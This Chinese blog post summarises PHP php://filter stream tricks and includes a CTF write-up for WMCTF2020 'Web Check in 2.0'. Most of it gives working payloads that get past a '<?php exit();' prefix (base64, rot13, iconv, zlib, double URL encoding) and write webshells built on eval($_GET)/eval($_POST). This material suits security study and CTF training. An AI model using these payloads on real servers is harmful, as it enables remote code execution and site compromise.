PHP Filter伪协议Trick总结

2023-10-28

PHP Filter伪协议Trick总结

前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索。

PHP Filter协议介绍

php://filterphp中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 

Filter协议的使用方法

Filter协议的一般语法为:

php://filter/过滤器|过滤器/resource=待过滤的数据流

其中过滤器可以设置多个,按照链式的方式依次对数据进行过滤处理。例如:

echo file_get_contents("php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,<?php phpinfo();?>");

<?php phpinfo();?>这个字符串进行了两次base64编码处理。

php filter的过滤器有很多种,根据官方文档(https://www.php.net/manual/zh/filters.php),大致可以分为四类:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器

字符串过滤器

string字符串开头,常见的过滤器有rot13touppertolowerstrip_tags等,例如:

# string.rot13即对数据流进行str_rot13函数处理
echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,abcdefg");
# 输出结果为nopqrst

toupper、tolower是对字符串进行大小写转换处理:

file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abcdefg");

strip_tags对数据流进行strip_tags函数的处理,该函数功能为剥去字符串中的 HTMLXML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西。

file_get_contents("php://filter/read=string.strip_tags/resource=data://text/plain,<a>s</a>");
# 结果返回s

转换过滤器

主要含有三类,分别是base64的编码转换、quoted-printable的编码转换以及iconv字符编码的转换。该类过滤器以convert开头。

base64的编码转换操作,例如:

file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");

Quoted-printable可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数,例如:

file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));
# 输出为m1sn0w=0C

iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>或者convert.iconv.<input-encoding>/<output-encoding>,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码,例如:

file_get_contents("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w".chr(12));

压缩过滤器

主要有两类,zlibbzip2,其中zlib.deflatebzip2.compress用于压缩,zlib.inflatebzip2.decompress用于解压缩。

加密过滤器

mcrypt开头,后面指定一个加密算法。本特性已自PHP 7.1.0起废弃。强烈建议不要使用本特性。

Filter协议的一些Trick

php://filter⾯对不可⽤的规则只是报个Warning,之后会跳过继续执行。

绕过死亡exit

有时候会碰到这种情况:

file_put_contents($filename,"<?php exit();".$content);

这时,如果想要写入WebShell,就需要利用到过滤器来进行一些操作,将输入的字符串中的exit()函数处理掉或者让它失效,从而达到代码执行的目的。

下面总结一些比较常见的绕过方式:

Base64编码绕过

Base64在进行解码的时候,是4个字符一组进行解码,也就是说如果构造一个字符串如aaaabTFzbjB3,前面的四个a会被当成一组进行正常解码,后面真正的base64编码也就会正常解码。因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,因为前面参数解码的字符串只有phpexit,因此上述的绕过方式为:

$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"

image-20211111113347644

rot13绕过

方式和base64类似,将payload转换一下即可:

$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>";

image-20211111113831143

组合方式绕过

例如使用strip_tagsbase64进行绕过:

$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";

文件内容变量相同绕过

比如下面这种情况:文件名和拼写的内容相同,还需要绕过exit

file_put_contents($content,"<?php exit();".$content);

如果没有exit的话,这种写入方式就比较简单,例如:

$content = "php://filter/write=<?php phpinfo();?>/resource=shell.php";

image-20211111114922452

这里主要是因为php://filter在遇到不认识的过滤器的时候,只会进行一个警告,然后继续后面的执行。

这里回到主题,如果绕过上述的exit

利用rot13绕过

构造如下payload:前提是目标服务器没有开启短标签。

$content = "php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php";
iconv字符编码转换

这里用到几种编码:

UCS-2:对目标字符串进行2位一反转
UCS-4:对目标字符串进行4位一反转

payload生成:

<?php
$a = "<?php phpinfo();?>aa";
echo iconv("UCS-4LE","UCS-4BE",$a);

因此,对于上述的绕过,可以使用如下payload

# 2位一反转
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";

# 4位一反转(注意添加一些填充位)
$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa?<aa phpiphp(ofn>?;)/resource=shell.php";

image-20211111134155440

利用压缩过滤器进行绕过

使用到zlib.inflatezlib.deflate,将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit去掉。

zlib.inflatezlib.deflate过滤器的中间加上一个字符串过滤器,会将exit解压成其他的字串,例如:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php';
file_put_contents($content,'<?php exit();'.$content);

image-20211111144349667

组合绕过方式

感觉能单个过滤器绕过的,就可以不用多个过滤器一起组合绕过。

strip_tags+base64编码绕过

绕过思路就是:闭合前面的<?php标签,并使用strip_tags进行处理过滤,然后正常base64解码

构造payload如下:

$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";

这里其实还有一个小trick,就是resource后面的路径,php://filter仍然会将其视作位过滤器进行一个过滤处理,例如:

$content = "php://filter/resource=./convert.base64-encode/../shell.php";

image-20211111141156595

[WMCTF2020]Web Check in 2.0

源代码如下:

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

这里带有几个trick,第一个就是伪协议在调用过滤器的时候,会对过滤器进行url解码一次,例如构造如下内容:

$content = "php://filter/write=%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/resource=shell.php";
file_put_contents($content,"<?php exit();".$content);

仍然会对字符串进行base64编码操作,因此,这里尝试利用二次编码的方式,绕过死亡exit,并写入shell:

# payload如下:访问获取到phpinfo界面
content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|?<hp phpipfn(o;)>?/resource=shell.php

# 尝试命令执行
content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa<ap?phe av(l_$OPTS'[1mnsw0]';)hpipfn(o;)>?/resource=shell.php

蚁剑连接,在根目录获取到flag

image-20211111143123706

第二种方法是利用压缩过滤器来进行绕过,使用到zlib.inflatezlib.deflate,解题思路就是将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit去掉。

zlib.inflatezlib.deflate过滤器的中间加上一个字符串过滤器,会将exit解压成其他的字串,例如:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php';
file_put_contents($content,'<?php exit();'.$content);

image-20211111144349667

第三种方式是利用php7版本,在使用伪协议string.strip_tags时会发生段错误,然后将上传的文件报错在tmp目录下面,可以利用爆破的方式+文件包含利用,获取到Shell

文章小结

Filter过滤器在很多时候都非常有用,不论是任意文件读取,还是Webshell的写入。本篇文章总结了几个小trick,例如绕过exitresource后面可继续跟过滤器、伪协议在处理过滤器的时候会进行URL编码等,感觉每一个都会有助于攻击方式的扩展。

参考文章

关于file_put_contents的一些小测试(https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/)

WMCTF2020官方writeup(https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF_2020%E5%AE%98%E6%96%B9WriteUp.pdf)

php官方文档(https://www.php.net/manual/zh/filters.compression.php)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PHP Filter伪协议Trick总结 的相关文章

  • IT圈大实话!卷运维不如卷网络安全

    前言 在刚刚过去的金九银十 我进行了多场网络安全的技术面试 我发现最近很多从事运维的选择了辞职 转行到了网络安全这个发展路线 说实话 运维工程师这个岗位在IT行业里面确实是处于最底层的 不管什么环节出现问题 基本都是运维背锅 薪资水平也比不
  • 盘点那些年我们一起玩过的网络安全工具

    大家好 我是IT共享者 这篇文章给大家盘点那些年 我们一起玩过的网络安全工具 一 反恶意代码软件 1 Malwarebytes 这是一个检测和删除恶意的软件 包括蠕虫 后门 流氓 拨号器 间谍软件等等 快如闪电的扫描速度 具有隔离功能 并让
  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • 软件开发和网络安全哪个更好找工作?

    为什么今年应届毕业生找工作这么难 有时间去看看张雪峰今年为什么这么火就明白了 这么多年人才供给和需求错配的问题 在经济下行的今年 集中爆发 供给端 大学生越来越多 需求端 低端工作大家不愿去 高端岗位又太少 很多基础行业 比如机械 土木 所
  • SpiderFlow爬虫平台 前台RCE漏洞复现(CVE-2024-0195)

    0x01 产品简介 SpiderFlow是新一代爬虫平台 以图形化方式定义爬虫流程 以流程图的方式定义爬虫 不写代码即可完成爬虫 是一个高度灵活可配置的爬虫平台 0x02 漏洞概述 SpiderFlow爬虫平台src main java o
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • SRC漏洞挖掘经验+技巧篇

    一 漏洞挖掘的前期 信息收集 虽然是前期 但是却是我认为最重要的一部分 很多人挖洞的时候说不知道如何入手 其实挖洞就是信息收集 常规owasp top 10 逻辑漏洞 重要的可能就是思路猥琐一点 这些漏洞的测试方法本身不是特别复杂 一般混迹
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 前端必备的 web 安全知识手记

    前言 安全这种东西就是不发生则已 一发生则惊人 作为前端 平时对这方面的知识没啥研究 最近了解了下 特此沉淀 文章内容包括以下几个典型的 web 安全知识点 XSS CSRF 点击劫持 SQL 注入和上传问题等 下文以小王代指攻击者 话不多
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【方法】如何把Excel“只读方式”变成可直接编辑?

    Excel在 只读方式 下 编辑后是无法直接保存原文件的 那如何可以直接编辑原文件呢 下面来一起看看看吧 如果Excel设置的是无密码的 只读方式 那在打开Excel后 会出现对话框 提示 是否以只读方式打开 如果想直接编辑文件 选择 否
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • BFS算法解题套路框架(附习题)

    BFS算法解题套路框架 BFS 的核心思想 就是把一些问题抽象成图 从一个点开始 向四周开始扩散 一般来说 我们写 BFS 算法都是用 队列 这种数据结构 每次将一个节点周围的所有节点加入队列 BFS 相对 DFS 的最主要的区别是 BFS
  • 20190711_New_Citation

    Cross Talk Among Reactive Oxygen Nitrogen and Sulfur During Abiotic Stress in Plants https onlinelibrary wiley com doi p
  • Awesome Fine-Grained Image Analysis – Papers, Codes and Datasets

    Awesome Fine Grained Image Analysis Papers Codes and Datasets Table of contents Introduction Tutorials Survey papers Ben
  • LDA(Latent Dirichlet Allocation)主题模型

    LDA于2003年由 David Blei Andrew Ng和 Michael I Jordan提出 因为模型的简单和有效 掀起了主题模型研究的波浪 虽然说LDA模型简单 但是它的数学推导却不是那么平易近人 一般初学者会深陷数学细节推导中
  • Java中对象的引用(Java对象的引用 )

    Java对象的引用 一 概念 什么是Java对象的引用 每种编程语言都有自己的数据处理方式 有些时候 程序员必须注意将要处理的数据是什么类型 你是直接操纵元素 还是用某种基于特殊语法的间接表示 例如C C 里的指针 来操作对象 所有这些在
  • git 001--建本地仓库和远程仓库和拉代码

    要使用Git对我们的代码进行管理 首先需要获得Git仓库 获取Git仓库通常有两种方式 在本地初始化Git仓库 不常用 从远程仓库克隆 常用 一 建本地仓库 方法一 在自己电脑的任意目录下创建一个空目录 例如桌面的aaa 作为我们的本地Gi
  • 新手入门必看MyBatis-Plus&Druid数据源

    MyBatis Plus Druid数据源 我们就一起来了解下Mybatis Plus吧 什么是MyBatis Plus MyBatis Plus的优势 MyBatis Plus简单来说就是在原本的MyBatis的基础上加了Buff或者说是
  • [系统安全] 四十四.恶意代码同源分析及BinDiff软件基础用法

    您可能之前看到过我写的类似文章 为什么还要重复撰写呢 只是想更好地帮助初学者了解病毒逆向分析和系统安全 更加成体系且不破坏之前的系列 因此 我重新开设了这个专栏 准备系统整理和深入学习系统安全 逆向分析和恶意代码检测 系统安全 系列文章会更
  • 外盘期货的几个级别 你到达几级了?

    01 小白 如果开始赔了钱 就收手不做或者学会敬畏市场还好 但如果开始的福利期太顺或者太容易 就及其容易造成信心爆棚 对行情存在 赌 的思想 反而不利于以后的成长 这种情况基本出现在刚刚入市 实盘交易时间短的小白身上 02 筑基期 处在这一
  • 二叉树的扩展——主要方法和基本算法等

    1 求树的高度 思路 二叉树的高度等于左右子树里面的最大高度 int high BtNode ptr if ptr NULL return 0 int L high ptr gt lchild int R high ptr gt rchil
  • java.lang.IllegalStateException

    Caused by java lang IllegalStateException The specified child already has a parent You must call removeView on the child
  • 【SQL】保姆级教程:MySQL配置全过程 & 编辑器DBeaver的安装配置

    MySQL 是最流行的关系型数据库管理系统 在 WEB 应用方面 MySQL 是最好的 RDBMS Relational Database Management System 关系数据库管理系统 应用软件之一 文章目录 一 什么是数据库 二
  • 数字水印技术的原理、实现及其应用

    概述 数字水印 是指将特定的信息嵌入数字信号中 数字信号可能是音频 图片或是视频等 数字水印可分为浮现式和隐藏式两种 明水印 visible watermarking 其所包含的信息可在观看图片或视频时同时被看见 盲水印 blind wat
  • 计蒜客T1461——校验信用卡号码

    如题 本题需要解决的本质就是多个字符串转换为整型数据的过程 主要的考点在于如下3个 1 循环输入多个字符串并不间断 2 将字符串处理为整型数据 3 完成对整形数据的检验 上述三个要求通过STL可以很轻松地解决 具体做法写在了代码注释之中 i
  • Unity3D 4.0新功能:Mecanim动画系统基础教程

    作为Unity4 0的主要更新功能 Mecanim动画被寄予了很多的期望 系统有先进的地方 也有不足的地方 这些我们留到最后再来总结 阿赵粗略的学习了一下 写下以下的教程 这篇教程简单的说明了Mecanim系统的用法和控制方式 里面用到的资
  • electron-vue中报错 Cannot use import statement outside a module解决方案(亲测有效!!!)

    错误 Cannot use import statement outside a module 不能在模块之外使用导入语句 原因 安装的某个依赖包里使用了import语法 因为我们打包输出的是commonjs规范 所以不识别import语法
  • 学习笔记 React(一)Hello React例子及创建虚拟DOM的两种方式

    React官网地址 React库 最基础的例子 官网 1 英文官网 https reactjs org 2 中文官网 https react docschina org React库 babel min js ES6 gt ES5 JSX
  • C++中函数原型和函数定义

    C 中函数原型和函数定义 C 函数原型指的是函数声明的语法形式 它告诉编译器函数的名称 返回类型和参数列表 函数原型的语法形式如下 return type function name parameter list 其中 return typ
  • 什么是强制缓存?什么是协商缓存?cache

    强制缓存和协商缓存是用于在Web浏览器和服务器之间进行缓存控制的两种机制 强制缓存 强缓存 强制缓存 强制缓存是通过设置HTTP响应头来实现的 它告诉浏览器在一定时间内直接使用缓存的副本 而不需要再向服务器发起请求 常见的强制缓存相关的响应
  • PHP Filter伪协议Trick总结

    PHP Filter伪协议Trick总结 前言 最近在学习的过程中碰到了很多的filter协议的小trick 在此做一个总结以及对filter协议的一些探索 PHP Filter协议介绍 php filter是php中独有的一种协议 它是一